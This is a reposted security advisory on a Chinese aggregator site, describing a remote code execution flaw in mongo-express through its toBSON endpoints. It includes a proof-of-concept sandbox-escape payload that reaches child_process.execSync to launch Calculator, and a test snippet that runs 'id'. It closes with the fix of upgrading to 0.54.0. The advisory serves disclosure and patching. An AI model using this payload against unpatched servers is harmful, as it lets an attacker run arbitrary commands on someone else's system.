您好!欢迎来到北极熊

北极熊

热门搜索: 任正非传    神雕侠侣    红楼梦   

mongo-express远程代码执行漏洞

分类:软件开发应用 时间:2020-01-08 21:02 浏览:743
概述
来源https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215漏洞详情贡献者                                          
内容

来源

https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215

漏洞详情

贡献者                                                                 共获得  0KB            

Overview

mongo-express is a web-based MongoDB admin interface written with Node.js, Express and Bootstrap3

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via endpoints that uses the toBSON method. A misuse of the vm dependency to perform exec commands in a non-safe environment.

PoC by Jonathan Leitschuh

# MacOSthis.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

  it('should not be executable', function () {      const test = `
      this.constructor.constructor("return console")().log(this.constructor.constructor("return process")().mainModule.require('child_process').execSync('id').toString())      `;      const result = bson.toBSON(calculatorTest);
    });

Remediation

Upgrade mongo-express to version 0.54.0 or higher.

References


评论
资讯正文页右侧广告
联系我们
电话:18936411277
邮箱:1044412291@qq.com
时间:09:00 - 19:00
公众号:北格软件
底部广告